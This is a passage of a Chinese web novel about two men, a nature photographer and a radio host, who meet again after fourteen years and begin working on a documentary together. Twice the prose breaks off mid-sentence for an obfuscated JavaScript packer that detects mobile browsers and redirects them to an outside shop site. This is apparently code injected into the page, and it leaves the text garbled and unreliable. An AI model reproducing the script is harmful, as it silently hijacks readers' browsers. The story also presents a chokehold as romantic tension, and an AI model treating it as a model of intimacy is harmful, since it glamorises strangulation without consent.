阙与山觉得无趣,转头就去拉着梁又因哥俩好,东拼西凑的胡话、天南海北的见闻,混着酒一起吞下。 一张饭桌上,许藏沉默地喝酒,阙与山劝酒也劝自己,梁又因晕到有酒就喝,三个人磨磨蹭蹭吃到最后,各干了几乎一整瓶酒。 梁又因最先撑不住了,趴在自己的胳膊上昏昏欲睡。 阙与山也好不到哪儿去,灰蓝色的眸子含着潋滟的水光,眼尾烧得很红,嘴唇湿润艳丽,目光迷离恍惚地盯着许藏看。 只有许藏,面无表情地将瓶子里的酒一点点全喝完,才叫了服务员主动买单。淡红色漫上他的耳尖、脸颊、鼻尖、眼睛,但许藏漆黑的眼睛十分有神,看起来也很清醒。 许藏叫了辆车,先将梁又因塞进后座,给司机报了地址,还是梁又因自己怕不省人事提前给他发到短信里的。 他一回头,就见被留在包厢里的阙与山,不知何时跟了出来,呆站在路灯旁,傻傻地往这边看。 许藏一走近,就看到阙与山皱了皱鼻子,语气委屈地抱怨:“你为什么把我留下?” “因为好东西要留到最后,”许藏哄一个醉鬼简直称得上信手拈来,他将自己的围巾裹到阙与山的身上,伸出手诱哄,“现在要跟我回家吗?” 喝醉的阙与山不像白日里那般狡猾带刺又爱撒谎欺瞒,很纯粹也很懵懂,一骗就会上当,他毫不犹豫地抱住许藏,全心全意地将自己交给别有所图的人。 好在今晚许藏休假,不然他就只能把这只单纯的醉鬼,扔到路边自生自灭,可能还会惨到睡公园长椅或是桥洞。 尽管两人的身量差不了多少,阙与山毕竟比许藏更厚实,压过来的重量、抱人的姿势让许藏走得很艰难。 他无奈地推了推醉后莫名粘人的阙与山,负担却丝毫不动。许藏只能认栽,摇摇晃晃地往家走去。 “酒量这么差,还要和人喝。”清醒地知道自己有个负担的许藏不免揶揄他,“比我差多了,还不自知。骗你喝醉了,骗你断片了,也傻乎乎地信。” 事实上,许藏的酒量确如梁又因所说的好。因此,雪林喝酒那晚,他很清醒,比阙与山还清醒。 他清楚地知道自己喊的小狗是阙与山,喊了三遍。阙与山很凶,明显不喜欢这个称呼,最后还剥夺了他喊小狗的权利。 许藏敛眸望向他们两个人交叠一起时,在路灯下的影子,紧密又怪异,像只张牙舞爪的怪物。 他不由得笑了一下,不知道想到了什么,感慨道:“阙与山,你怎么从小狗,变成狼了?这么大一只,真的好沉啊。” 原本十几分钟的路,硬是在雪和阙与山的加持下,走了一个小时。 许藏走着走着,望向昏暗无人的街道,甚至一时恍惚自己好像持续走在十四年前的雪村,那将会是一个别样的发展——他没有离开阙与山,很简单地一起生活下去。 “许藏,”阙与山嘟囔了一声,他挣扎了几下骤然撞在楼道的石墙上,疼痛让他清醒了一点,他借着路灯投进来的明暗交错的光看向许藏,“许藏,再等我一会儿……再容忍我一会儿,不会耽误你太久,我保证。” 只要,等到又一春开花,他能送出一件拿得出手的礼物,用以告慰十四年的情愫。 不会再像那朵残缺的小白花一样,难看丑陋地萎缩在冬日的雪中、凋零枯谢在许藏眼前。 阙与山好像只是清醒了那么一瞬间,随后哼了两声,倒在许藏的身上不动了。 许藏漆黑的眸子很暗,像是被角落里的阴影覆盖。他的手强硬地拽过阙与山的身体,将人半抱半提地带回了家。 换衣服、擦身体,阙与山表现得都很乖,许藏没有把他扔到地上的窝里,转身去了浴室换下一身酒气的衣服,快速洗完澡后又将洗好的衣服搭在了阳台。 他将要离开时,余光瞥见那几盆快要干枯的多肉被贴心地浇了水。 许藏回到卧室,将阙与山往床的另一头推了推,随后在他旁边坐下来。 阙与山翻了个身,脸颊正好蹭在许藏撑着的手臂上,他非但没觉得怪异,还继续歪着头蹭了好几下,滚烫的皮肤将许藏的小臂灼红。 许藏表情淡漠地看了几眼,逗弄人般往后撤了撤手,没想到阙与山居然追了上来,还动用两只手将他的手臂禁锢在原地,灼热的气息一下子扑了上去,湿润的唇角也时不时地擦过青筋蜿蜒的腕骨。 他反手用力掐住阙与山的下颌,就像在雪林那样,只不过此时身份倒转。 “小狗,知道我是谁吗?”许藏的声音很低,有些沙哑。 他的手指不像阙与山那般安分克制,食指和中指并拢,时不时地侵扰泛着水光的唇,将它摩挲地更加浓艳,甚至不惜强硬地往内部探,试图撬开阙与山的齿关逼迫他回答。 许藏的指尖即将探到阙与山的舌尖时,听到他囫囵地喊了一句:“许藏。” 他撤出了手指,指腹上被沾湿。许藏扫了一眼后,用它在阙与山的鼻尖上抹了一下,随后毫不留情地掐住了他的脸颊。 “不安分的小狗。” 15. 另有所图 盛满净雪的古旧陶罐被放到了火上,厚雪慢慢地化成了透明的水,冒着热气。 阙与山窝在被磨得很光滑的小板凳上,下巴埋在高领棉衣里,常年红肿难看的一双手伸出去烤火。他的目光始终隔着白色水蒸气,望着对面的许藏。 许藏不知道从背包哪里摸出一个纸包,他坐在对面后,一点点将它展开,露出里面墨绿色的一粒粒东西。他挪过来一个大杯子,往里面倒了一些,再收起来。 “小狗,见过雾凇吗?” 阙与山眨了眨那双浅灰蓝色的眼睛,想了一会儿后,摇了摇头。 “我们上一站去的是,林城城东的赤霜河。”许藏抬眸看向阙与山,嘴角挂着的笑容没有消失过,“赤霜河的西岸是连绵不绝的树木,冬季落叶后只剩光秃秃的树枝,而此时它们的迎风面结了白色的冰层,宛如琼树银花,被称为雾凇。” 罐子里的雪水煮开了,许藏将它倒入大杯子中,里面的东西一下子转着圈浮上来,舒展开叶身。 他又把大杯子里的水,分到阙与山面前的小杯子里,推向他后:“尝尝,小心烫。” 阙与山听话地点了点头,用被明火烤得很热的一双手去捧那只灰扑扑的杯子,放在嘴边吹了吹,小心地抿。 他才喝了没几口,眉头就皱了起来,放到一旁还不止,嫌弃地往许藏那边推:“苦。” “雪水煮茶,质轻香隐,”许藏毫不在乎地抓起阙与山喝过的杯子,举到嘴边抿了一口,眼睛亮了一下,“不苦,好喝。” 他垂眸慢慢地将这杯茶水品完,没有发现昏暗的环境下阙与山那双红起来的耳尖。 许藏放下杯子,将刚刚未尽之言讲完:“赤霜河的东岸是一片水杉林,到了冬季会变成橙红色。而因各种原因,赤霜河的下游会先结冰,膨胀挤压形成裂隙,上游的河水冲刷过后留下泥沙填补冰隙,形成一副天然的抽象图画。” “所以你的合作提议是,先拍一期赤霜河的纪录片?” 负责人的话将阙与山的思绪拉了回来,他点了点头,平静地开口:“昨天采访时不是说大家对于摄影的热情很高涨吗?这个时节的赤霜河正是一年中最美丽诡谲的时候,拍摄纪录片可以展示大自然的鬼斧神工,帮助观众了解景观如何形成。 “如果赤霜河的收视率还不错,可以考虑往后开展一个系列。” “这个提议不错,”负责人点了点头,边记录边说,“不过纪录片的事情不是我一个人就能敲定的,我必须将这件事上报。” 她向阙与山礼貌地点了点头后,招来了一个工作人员,问了几句后和善地开口:“麻烦阙老师等一会儿,我先失陪一下。” 负责人走后,留了和阙与山相熟的小赵在会议室。 她往外望了望,看人走远后才关上门,转过身对着阙与山道:“您这提议,台长他老人家指定批!阙老师,您是不知道自己现在有多火吗?要不是底下保安拦着,粉丝都能将广播大楼淹了! “要我说,这次的纪录片不多分你点钱都说不过去,完全就是仰仗您的热度。” “哪有那么夸张?八字还没一撇,”阙与山漫不经心地喝了口水,想了想抬眸看向小赵,“问你个事。” 小赵拍了拍胸脯,因阙与山真给红包,她看他比看领导还忠诚:“知无不言言无不尽。” “深夜广播组很忙吗?一个节目只有两人轮换,找不出第三个人了吗?” 阙与山也是从林木深口中得知许藏被召回工作岗位的具体原因,无外乎替班的车祸了,没许藏不行了之类的话术。 小赵闻言皱了皱眉,疑惑地说:“怎么会?就算两个人都请假了,也会调人过来替班的。人又不是钢铁做的,肯定都会有备用方案的。” 她说着说着突然联想到了什么,小声地问:“阙老师,您说的不会是许藏他们组吧?” 阙与山扫了她一眼,示意她接着说。 小赵凑到他的旁边弯下腰,不爽地吐槽:“许老师那个组的组长,凭借关系把自己的弟弟也塞了进来。他知道许藏两年来跟个工作狂一样,基本上没有休过年假,就让他弟弟领个闲职,接替许藏那个节目的轮换。 “许藏休假的日子本来就不多,大多数还有另一个主播阿点替。组长弟弟就美美地挂着深夜广播组的职务,实际上只需要点卯,班也不用怎么上。前两天许藏被召回的时候,大楼里都在说这事,一片唏嘘。” 小赵讲完了这个八卦,才反应过来:“阙老师,您问广播组做什么?我们这不是电视台吗?” 就在此时,负责人推门而入,小赵立马直起身站到了一边,佯装倒水。 负责人抱着一摞资料坐到了阙与山的对面,将文件夹里的东西一份份摊开摆在桌子上:“我请示了台长和副台长以及相关的领导,他们都非常相信阙老师的能力,并一致通过了阙老师您的提议。关于拍摄赤霜河纪录片的工作暂时由我们组承担,资金人手设备等相关问题,您尽管提,我们尽力解决。等正式的文件和合同下来后,还需要您的签字。” “我的专业能力仅供去到赤霜河拍摄,前期筹备和后期剪辑播放等一切工作麻烦你们了,”阙与山先是客气了一下,随后话音一转,“因为我主职是自然摄影师,经常一人去往拍摄地。所以,我希望拍摄时,人员能够尽量少,最好可以一人多职,确保拍摄更加自由、拍出来的纪录片呈现出一种自然真实的状态。” 负责人点了点头,接着他的话问道:“那么阙老师对于此次纪录片拍摄工作的团队,希望限定在几人呢?” “赤霜河就在林城城东,并不算偏远,调研简单,相关自然知识获取便捷。”阙与山故意停顿了一下,装作思考的样子,“拍摄纪录片的团队,两个人足以。现场录不到的音我可以后期配,也可以找专业的人来给纪录片搭配讲解。” 负责人闻言转了一下笔,想了想,露出一个为难的表情:“您知道的,关于拍摄纪录片,除了您这个主摄,副摄不仅要精通摄影、相关调研,还要少量出镜讲述。短时间内,确实很难从电视台里给您征调一位。” 阙与山适时抛出藏了多时的目的:“我有推荐的人选,就在大楼里工作。” 负责人的眼睛一亮,看向阙与山,有些欣喜:“能得阙老师的青睐,想来那人的能力不差,不知阙老师推荐的人是?” “深夜广播电台组,四号播音室,许藏。”无视对方神情的一瞬呆滞,阙与山熟练地介绍,“许藏的父母是很有名的自然摄影师,他曾跟随父母去过很多地方,对于摄影耳濡目染,不仅了解相关景观知识,还精通摄影,且因常年在电台工作,更善于纪录片的出镜讲述。” “许藏还有这样的能力?”负责人想了想,招手将愣在一旁的小赵叫过来,吩咐道,“你拿着我的工作牌,去楼下将许藏的入职档案调阅一下。” 从听到“许藏”两个字,小赵好像就明白了点什么,她傻傻地接过工作牌,离开前还不忘看一眼随意微仰在座椅里的阙与山。 门关了,负责人不知想到了什么,突然有点好奇:“阙老师,您与那位许先生很是相熟?” “不熟。”阙与山微微一笑,将情绪掩饰得很好,“只是恰好了解到他的父母是自然摄影师。” 只是恰好在十四年前,看到过许藏父母拍摄雪村时,露出的黑色镜头。 只是恰好听许藏说过,他的父母是自然摄影师,他曾跟随父母各处游历,拍摄过很多美丽的瞬间。 于是,阙与山拿到考上秋城大学的那笔奖金后,购入了第一台相机。 他想看看许藏所讲的瞬间到底有多好看,他用相机记录了很多地方,有许藏讲过的、也有许藏未见过的,洗了无数照片,积攒多年却无处分享。 后来,忘了是谁说的,让他去做自然摄影师。 起先可能只是劝有天赋的阙与山在摄影行业做大做强,后来听说阙与山想要找两位有名的摄影师,这份劝也更加顺理成章。 阙与山从善如流,进入了自然摄影师的大门,却迟来地听说许藏的父母早已为了摄影的事业出国。 从芝麻大的雪村出来时,阙与山就在想,排除许藏讲过的,全国可能也不过就剩几百个鼎鼎有名的地方,找找总能找到的。 可不过几年,这个范围就扩大到了全世界,本就不知所踪的许藏更加难找,阙与山知难而退地放弃了。 而因许藏结缘的自然摄影,阙与山不想放手。 也许只是抱着一腔妄图偶遇的热血,也许只是想搞出一点名声让许藏听见,也许只是站在不同的时间线和许藏观赏相似的风景。 也许、只是,本就是有限的不肯定,就像阙与山再次遇到许藏。 “怎么会不熟,明明许先生来取镜头盖时说你们是朋友来着……”负责人的眉头微微蹙着,声音也很小,像是不太确定地嗫嚅。 阙与山没听清她的话,和煦地问:“不好意思,您刚才说什么?” “哦,没什么,一点之前的小事。”负责人立马换上了职业微笑,向他点了点头。 小赵的速度很快,推开门将许藏的档案放到负责人的手边,随后站到了旁边对着桌子那边的阙与山挤眉弄眼,好似想说什么,只是碍于负责人和场合没开口。 负责人快速地翻了翻,感慨道:“还真是如阙老师您所说,许藏的父母是有名的自然摄影师。他的档案也记载,曾随着父母各地摄影十余年。广播组真是把人才都埋没了,您放心,您指定的人,我肯定帮您调来。” “广播和电视台不相通,征调过来不会有什么阻碍吧?”还没等负责人发言,阙与山又神色平淡地举例子,“不会这个项目刚启动,深夜广播组那边就给我打电话要人了吧? “如果纪录片反响不错,下次我再来工作的时候,深夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233885|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 广播组不容人,许藏又被调走或者解雇,我上哪找这么合适的助理呢?” 小赵两眼一亮,在负责人身后给阙与山举了个大拇指。 负责人的神情严肃,保证道:“阙老师,您放心,我会直接和上级请示,从上面走文件将许藏征调过来,并在文件中加上相关条例,确保许藏并不会因您所说的几种情况缺席纪录片的拍摄。” “如果许藏的事情能漂漂亮亮解决,那最好不过了。”阙与山点点头。 负责人突然有点为难:“不过征调这事,到底还是得许藏本人同意。这个时间……” 她转头看了一眼表,继续说道:“许藏上夜班,应该还没起吧?不然我明早和他谈一下?” “不用,就现在吧,他醒了。”阙与山笃定地说,“昨夜他休息,我们一起吃的饭。” 负责人没理解为什么一起吃饭就能知道对方已经醒了,更想不明白说着“不熟”的阙与山居然和许藏一起吃饭。 可私人问题又不是现在的重点,她怔了一下,招了招手:“小赵,你跑一趟广播组,记一下许藏的电话号码,并请他来一趟,就说是电视台的工作,然后在楼下接一下他,将他带到会议室。” 按理说,谈工作调度只需要负责人出面,但她见阙与山没有走的想法,就留他在会议室。 她打了个招呼兀自忙去了,说是许藏来后让小赵叫她就行。 许藏来得很快,阙与山百无聊赖地喝到第四杯水时,小赵带着人推门而入。 看到会议室里的桌子那头坐着阙与山,许藏脚步一顿,神情微变,随后默不作声地走到桌子的一边,扯过板凳坐下。 阙与山先给小赵说了负责人在忙的事,小赵听后眼睛转了转,没有去叫负责人,反而先绕了一圈到阙与山旁边,俯身小声地说:“刚才就想说了,阙老师你昨天让我拦许老师居然是为了工作啊!您太有上进心了!” 感慨完,小赵溜着边就走了。可会议室就那么大点,再收着声也能听到。 阙与山一偏头,就看见许藏那双漆黑的眸子危险地眯了眯,他蓦地有点心虚,捏着纸杯喝了一口空气。 小赵的话,一下子就让许藏想到昨日下班时,挂着电视台工作牌的女生莫名其妙将他拦下,揪着阙与山的镜头盖那件事,反复来回地询问和感谢。 现在想来,小赵拖延的时间段,正是阙与山的采访。 许藏的神情有些讥讽,语气相当不善:“阙与山,你本事挺大。电视台的助理,都能替你干私活。使尽浑身解数,不惜跟着我回家、挤进我和梁又因的饭局,都是为了今日的工作? “我是该夸你卧薪尝胆,还是忍辱负重?” 阙与山还没来得及解释,负责人就推门进来了,先是和许藏握了握手,友善地开口:“许先生,在非工作时间将您请过来实在是非常抱歉,但请允许我向你表达诚挚的邀请。 “我们将会和阙老师一起,开展拍摄一期纪录片的项目。这期纪录片,阙老师提议去到林城的赤霜河,他倾向于双人团队,并大力推荐了您。我现在代表项目组,邀请您的加入,如纪录片反响不错,后续的工作也将会首先考虑您。 “您参与纪录片拍摄期间,算电视台出外勤的工作,并不耽误您正常的电台工作。我会和上面申请,关于纪录片拍摄,单独给您计算一个更高且合适的薪资。 “不知您意下如何?” 许藏听后,只有一个想法。 这个工作,像是阙与山随叫随到的狗。 许藏没表态,两只手交叉放在桌子上,一双漆黑的眼幽深地盯着对面的阙与山看。 阙与山看到许藏的模样,一下子回想起今早从许藏的床上醒来时的情形。 他有些艰难地睁开双眼时,又一次近在咫尺地看到了,线条明显、白皙凸起的,属于许藏的锁骨,骨头的转折处被他的气息灼得微微泛粉。 阙与山一下子就僵住了,不敢动一点,只能用全身感知他所处的境遇。 头埋在许藏的胸前,两只胳膊强硬地搂着许藏的腰,一条腿毫不见外地挤在许藏的双腿之间,腰部紧贴许藏的胯骨,下腹鼓起的线条顶着许藏的大腿。 总之,非常的、全方面的过火。 而恰在此时,宿醉的记忆碎片部分涌回阙与山的脑海里,他想起许藏站在私厨门口的灯光下,伸手问他要不要回家,他想起自己克制不住想要靠近的心理,一下子就抱了上去,随后醉得不省人事。 后面的事很难回忆起来,只隐约知道许藏好像给他换衣服、擦身体,给他分了一半的床。 他一直都没意识到许藏是真的千杯不醉,只是慢几拍地想,醉酒断片的许藏真的很乖,还会带着他回家、让他睡床。 阙与山试图松开搂着许藏的手,还没来得及抬起来,就听到头顶传来幽幽的声音。 “阙与山,你没断奶吗?” 16. i人会错过 阙与山还是没明白,许藏苏醒的契机到底是什么。 为什么在雪林像是疲惫得睡不醒,林木深那么吵的摩托声都没能把许藏吵醒。而昨夜喝了近乎一瓶酒的许藏,嗓音丝毫没有沙哑和惺忪,一听就知道早早醒来了。 许藏比他醒的还早,也就是说,许藏瞧他这副挤入怀中的尴尬模样,不知反复琢磨了多久,甚至为了看他笑话,好脾气地没有推开他。 阙与山几乎在许藏那句话响起的一瞬间,一溜烟松开手翻过身滚下床,借着买早餐的借口头也不回地穿上衣服出了门。 铁门关上的一瞬间,阙与山强撑得很直的身体一下子松懈下来,缓缓地靠在了门上。 他能感受到自己整个脑袋都在冒着热气,伸手碰了一下耳朵和脸颊,还被烫了一下,胸腔里的心脏控制不住地加速撞击。 而此时此刻的许藏,眼神不是调笑,更加冰冷无情。 这个突如其来的工作邀约,好像无意间触到了许藏的某块逆鳞。 阙与山迎着许藏的视线,站起了身,绕过了桌子来到了许藏旁边,在他交扣的双手旁,曲起手指敲了敲桌子。 他的语气很平,带着几分讨好:“许藏,你跟我来一下。” 阙与山不怕许藏不跟来,因为许藏的气明显是冲着自己而来。 他头也没回地推开会议室的门离开,走了一段路推开楼梯间的门进去,靠在墙上等了一会儿,许藏也跟着进来了。 “阙与山,我刚刚夸错了。你哪里是本事不小,明明是手眼通天。”许藏一进来就控制不住讥讽,“你自作主张的瘾过完了吗? “下班时间、饭局、工作都被你越俎代庖了,结婚生子你是不是也要多管闲事?不然你把我哪年死、死了烧了是埋是扬,也一起包了吧?” 白天的楼梯间也很暗,没什么光线,也没什么人来,低沉的声音都能传得很远。 阙与山的视线从向上的台阶收回,转到许藏的身上。他想,许藏的教养还是不错的,生气成这样神情也只是晦暗,更没有冲上来揪着他的衣领揍。 没听到及时的解释,许藏的拳头像是砸到了棉花上。 他轻轻地吐了一口浊气,尽量让自己的情绪平静下来,不因阙与山越界的行为而做无谓没有结果的争执。 楼梯间的风呼呼地吹过,将火气或多或少地卷走。许藏攥了一下手心,感受到其中的温度慢慢地降了下去。 他试图以和平的、疏离的语气,和阙与山理性地探讨一下这件事:“阙与山,这就是你昨天说的,要和电视台谈的事情吗?让我去做你拍纪录片时的助理?” “不是助理,是副摄,会出镜。”阙与山知道该在什么时候回答问题,才能让两人尽量对等地谈话。 “好,就算你让我做主摄,纪录片的主要出镜镜头全留给我……” 许藏的话还没说完,阙与山见缝插针:“你想的话,我可以争取。” “阙与山,你是不是自以为很懂我?”许藏简直被气笑了,他觉得被随意摆布的自己,像是被扒光了一般,毫无防备地站在阙与山面前。而他此时最需要的是坚硬冰冷的遮羞布,堪堪能将那些不经意间露出的情愫裹进去。 他的语气一点点沉了下去,半真半假都化作了冰刃,先捅向自己,沾着血水、冒着寒气再扎向阙与山:“你以为我跟着父母各地漂游十余年,是很喜欢摄影?” 阙与山的嘴唇瞬间抿成了一条线,下颌绷得很紧,颈侧的青筋微微显露。 “你以为我十四年前给你讲林城赤霜河,是想和你一起去?”这句话吐出口,许藏感觉自己全身的肌肉都紧了起来。 阙与山的心脏猛地一缩,他原本稍稍垂落的目光陡然回正,直直地盯着许藏。楼梯间的光线照不进那双灰蓝色的眸子,只能见证它饱和度变低、越发晦涩。 “你以为我十四年前雪水煮茶,十四年后就还喜欢喝茶吗?”许藏的手指不自觉地极尽蜷缩,指尖嵌入掌心中,指骨发出很小的声响,也很快被淹没在了冷冰冰的话语中。 他明知自己在畏缩,但目光依然一寸不挪地落在那片灰蓝色里:“在雪林木屋,你煮的奶茶,我不喜欢。” 许藏的一句话,一下子将阙与山拉回了冰天雪地中唯一的热源里。 他知道十四年前的许藏喜欢喝茶,他也知道林木深珍存了一些上好茶叶和稀缺的牛奶,他小心翼翼地将尝试了多年的滋补搭配扔进了罐子、端给了许藏。 只是,他的小心思原来很早就被许藏看穿了,并残忍地在猎猎作响的楼梯间、在他面前被无情地挑破。 “许藏,”阙与山能感受到自己这声呼唤有多气虚,他甚至无法说下去话,那些未知的都一股脑地堵在喉咙里。 从心底深处涌上的、缓缓加重的疲惫感倏地席卷了许藏,他的语气都淡了几分:“所以阙与山,你这两天的所作所为,有问过我的意见吗?” 阙与山闻言,不知道想到了什么,突然笑了,声音带着颤回荡在楼梯间。 他的眼神顿时犀利了起来,步履不停地走到许藏身前,挤着他让他不得不后背靠上楼梯间的厚门。 许藏的鞋后跟撞到了门上,发出轻响,他感受着两人越来越近的距离,皱着眉出声警告:“阙与山!” 阙与山直接无视了他阻止自己前进的行为,强行把许藏困在了门前,硬是从许藏的两条腿之间将自己的腿挤了进去,一只鞋尖也碰到了铁门。他微微俯身侧头,干燥的嘴唇几乎蹭着他的下颌至颈侧的部分,感受着近在咫尺的皮肤轻轻战栗。 “许藏,”他的气息灼热地扑在许藏的耳根,毫不收敛地将气吐在他的颈侧青筋乍起的地方,轻笑声像是要震进许藏的鼓膜中,“你是要跟我揭短吗?” 话语间,阙与山垂在身侧的手不经意地勾住许藏的手指,将他攥紧的指节一点点扯开,又顺着手指慢慢地攀上他的腕骨、小臂、大臂,最后经由肩线抚上许藏的颈侧,他的视线也好似被吸引走,落在自己的指腹和许藏皮肤接触的地方。 他不断摩挲,用指腹轻拂,指节蹭刮,偶然转上喉结,在那处报复性地按了一下:“你颤什么?” 还不等许藏说话,阙与山的那只手由抚摸改作环扣,将他脆弱的脖子掌握在手下,慢慢地收紧。 他能听到随着自己的动作,许藏的呼吸很快因为缺氧急促起来,颈侧的青筋越来越明显,掌下的皮肤被按红。 许藏没有反抗,甚至被阙与山强行掰开的手都没有蜷缩握紧的倾向,就这么直白地被掐到微微窒息。 他眼前阙与山那只藏在发丝后的耳朵,逐渐有些模糊,就在空气稀薄导致的头晕袭上时,许藏听到阙与山贴着自己的耳侧,说了一句很近又很远的话。 “许藏,用不用我帮你回想一下,你所有未实现的承诺?” 许藏想,阙与山这趟下山,果然是为了报复自己来的。 阙与山松手了,但没有退开。 他就这么近距离地观察,许藏突然从缺氧状态下解脱的表现。 许藏因窒息有些脱力,后脑勺抵在门上,头微微仰着,一双漆黑的眼里满是迷离的水光,眼尾被憋得有点红。 他的脖子被松开后,急速地从周边摄取空气,短促地呼吸,嘴唇微微张着,能窥探到最近的舌尖。脖子上的青筋慢慢隐下去,衬得掐痕更加明显,几道红色的指印极其冶艳。 阙与山等了他一会儿,好商好量地开口:“许藏,我们牵扯之前的事情,就像解开缠死的毛线球,没有意义。 “一个很简单的解决办法,我抛出理由,你同意就跟我去拍摄纪录片,不同意就不说话。” 许藏还在缓着急促的呼吸,努力地平复因缺氧导致的肺部难受。 阙与山见他微微地抬了抬下巴,就当他认同了这个提议,想了想开口道:“我家在林城,你跟我去拍摄纪录片,顺便可以把那条素罗给你。” 楼梯间安静了一会儿,许藏没说话,甚至还闭上了双眼。 阙与山知道这算是他不同意了,但是他手中能够当作筹码的,一个生日昨日提了许藏没反应,一个暂时不能用,其他放不得台面的说了很奇怪。 思来想去,阙与山的思绪不知百转千回地飘到了何处,他偶然想起了第一台相机丢失的那张存储卡,不过脑子地开口:“许藏,你从雪林走后,你用过的那台相机里的存储卡不见了。” 此话一出,阙与山自己都觉得,话中将存储卡丢失嫌疑引到许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许藏有点惊讶,不知道他和负责人谈了什么,疑惑地问道:“我今晚的电台节目?” “不用了,我让负责人帮你推掉了。”阙与山伸手揽了一下许藏的肩膀,几乎是推着他往电梯走,“我说自己时间紧迫,一周后必须赶赴下个拍摄地,需要和副摄提前熟悉。 “许藏,接下来的一周,你只能和我绑在一起了。这可是你自己答应的,不能再反悔了。” 许藏需要装的东西不多,拍摄纪录片的设备阙与山都有,他基本上只需要带换洗衣服,收拾了半天也只装了一个背包。 阙与山早就收拾好了,在阳台逗弄那几盆多肉的时候听到许藏说可以了,一回头就见到许藏背着背包的模样,怔了一下。 原因无他,只是十四年前的许藏也是这样,来去只背了一个很简单的包,让他有一瞬间的恍惚。 许藏好像变了,又好像没变。 对于阙与山来说,许藏的一切都过于扑朔迷离。他大多时都分不清,自己看到的,到底是许藏的真实还是伪装。 两个人随便在小馆子对付了午饭,赶上秋城开往林城的绿皮火车。 到林城后,又在路边拦了一辆出租车。阙与山坐到后排,看到身边的许藏时,那种恍惚感还是没能彻底消弭。 他曾无数次,坐上从林城火车站回家的陌生出租车,或有许藏的节目陪伴,或有想念许藏时的疲惫,或是无处寻人的迷茫,或是萦绕多年的孤独。 总之,都没有许藏。 而此时此刻,许藏不仅在这辆回家的出租车上,与他也只有一寸之遥。 阙与山从不敢妄想,许藏的停留驻足,却在此刻行驶的车上,奢望他们能以这样的距离或者更近,走过未来。 “阙与山,这栋房子是什么时候买的?”许藏问房子,目光却顿在门口的那个信箱上。 阙与山的脑子好像终于清醒了,他想了想说道:“六年前,六年前的春天。” 搬来时的天气不错,那日的阙与山眯着眼瞧了瞧家门口,总觉得少了个信箱,于是他做了一个,并突发奇想地在上面画了只田园犬。 “六年前的春天,怪不得。”许藏的视线还紧紧地锁在信箱上。 准确来说,目光是定在信箱上那只可爱的田园犬上。迎着白日明亮的暖光,他的神情却有些化不开的忧郁和落寞,最终都被隐匿下去。 六年前的冬天,许藏循着记忆回到了雪村,却发现那里早已荒废,他与这只信箱小狗失之交臂。 他想,原来阙与山想要报复的不止雪林上过界的暧昧,还有十四年的等待和未见。 17. 言而无“信” “怪不得什么?”阙与山带着疑惑转头看向许藏,没明白他只说了一半的话。 许藏敛眉垂眼,视线顺着小狗信箱一寸寸下挪,看到了上面因为时间落下的破损掉漆和腐朽起皮,只是摇了摇头,没有回答。 “你也觉得这个信箱很可爱?”阙与山虽然仍困顿于许藏奇怪的表现,不过他朝着信箱走了几步,在其上拍了拍,发出不堪重负的木头扭曲声音。 许藏的目光被阙与山拍在信箱上的手吸引,微微偏头对他对视,缓慢地点了一下头:“可爱。” 闻言,阙与山的嘴角勾起了一点弧度,心情还不错地从信箱里取出杂乱的一摞信封,揣在怀里关好信箱门后,目不转睛地看向许藏:“许藏,这是我做的。” 这句话的语气带着点强势,连着那抹笑,一起扎在许藏的眼里。 他不知道该说些什么,呆站在门口与阙与山目光相接,半晌才点了点头表示自己知道了。 阙与山不是很满意他的反应,眯着眼在许藏略显平静的脸上巡视了几圈,都没有找到自己想看到的情绪,只能泄气地转过身进了院子。 他带着许藏进了家,在玄关处找了双未拆封的拖鞋递给他,匆匆忙忙地将信封堆到桌子上后,打开了整栋房子的总闸和暖气。 阙与山再回到正厅时,看见许藏已经脱了外衣自觉地挂到了衣架上,背包拘谨地支在沙发的一角,人坐在桌子前看那一摞信。 他走过去时,目光正好从许藏的颈侧划过,在其上残留的淡粉指印顿了一会儿,才故作镇定地收回目光。 他想,一定是许藏的皮肤又白又薄,才会随随便便留下印子,不知从楼梯间回会议室后其他人看到了没有。不过至少,许藏上玉琼雪林还镜头盖前,没有与姓越的有过什么。 “有一封标急的信找你。”许藏盯着那堆信封,突然毫无征兆地说话。 “啊?”阙与山一时没回过神,直到许藏抬眸瞧他,他才意识到信封的事,忙垂眸匆忙地找信,“哦。” 暖气明显还没有上来,他却突然感觉面庞微微发烫,手下慌乱地忙了半天也没扒拉到信。 最后,许藏应该是看不下去了,伸手精准地从那堆被刨乱的信里捏出来一封,好脾气地递给了阙与山。 “谢谢。”阙与山说得有些干巴,伸手接过后在信封上扫了一眼,猛地定住了。 许藏瞧他身体骤然紧绷,意识到不对劲,微微蹙眉朝着那封未拆开信看去,语气有点担忧:“怎么了?” “没什么。”阙与山笑得有点僵硬,他刚想将那封信揉皱背到身后,还没动就觉得此地无银三百两,只能装作若无其事地当着许藏的面晃了晃,“之前一个老朋友,好久不联系了,也没什么重要的事情。” 许藏闻言,目光在那封裁切完整的信上扫了两眼,挪到阙与山灰蓝色的眼睛上,好心提醒:“你都没拆开,怎么知道事情不重要?” “俗话说,无事不登三宝殿,”阙与山强压下心里紧张忐忑的情绪,面上漫不经心地将信完好地按在桌子上,“不必看了。” 许藏的视线落在了阙与山的手指旁边,正好看到了那封信的署名,他轻轻念了出来:“陈?只有姓?字写得稀疏平常,没有什么特点,却能让你一眼就认出来,以前是经常来信、很熟的朋友?” 这话从许藏的嘴里说出来,总有一种说不清道不明的怪异。 阙与山被他那双漆黑的眸子盯得莫名有点心虚,只好强撑着挪开了按着信的手,认命地将它拆开,将里面的信抽了出来,快速扫了两眼确定没什么后才松了一口气。 他不知为什么会走到需要自证清白这步,也许本身就过于担心会被许藏看见。阙与山到这时,才敢明目张胆地把信递给许藏:“你看,真的没什么。” 